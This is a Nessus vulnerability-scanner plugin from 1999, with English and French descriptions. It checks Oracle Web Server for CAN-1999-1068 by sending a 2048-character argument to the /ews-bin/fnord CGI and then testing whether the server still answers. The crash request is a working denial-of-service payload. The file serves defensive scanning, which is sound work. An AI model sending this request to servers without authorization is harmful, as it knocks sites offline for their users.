#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#

if(description)
{
 script_id(10171);
 script_version ("$Revision$");
 script_cve_id("CAN-1999-1068");

 name["english"] = "Oracle Web Server denial of Service";
 name["francais"] = "Déni de service contre le serveur web d'Oracle";
 script_name(english:name["english"], francais:name["francais"]);
 
 desc["english"] = "
It was possible to make the remote
web server crash by supplying a too
long argument to the cgi
/ews-bin/fnord.


An attacker may use this flaw to prevent
your customers to access your web site.

Solution : remove this CGI.

Risk factor : Serious";

 desc["francais"] = "
Il s'est avéré possible de faire planter
le serveur Web distant en donnant un 
argument trop long au CGI
/ews-bin/fnord.

Un pirate peut utiliser ce problème pour
empecher vos clients d'accéder à votre
site web.

Solution : retirez ce CGI.

Facteur de risque : Sérieux";


 script_description(english:desc["english"], francais:desc["francais"]);
 
 summary["english"] = "Crashes the remote OWS";
 summary["francais"] = "Fait planter le OWS distant";
 
 script_summary(english:summary["english"], francais:summary["francais"]);
 
 script_category(ACT_DENIAL);
 
 
 script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
		francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
 family["english"] = "Denial of Service";
 family["francais"] = "Déni de service";
 script_family(english:family["english"], francais:family["francais"]);
 script_dependencie("find_service.nes", "no404.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

#
# The script code starts here
#


port = is_cgi_installed("/ews-bin/fnord");
if(port)
{
  request = string("/ews-bin/fnord?foo=", crap(2048));
  is_cgi_installed(request);
  sleep(5);
  soc = open_sock_tcp(port);
  if(!soc)security_hole(port);
  else close(soc);
}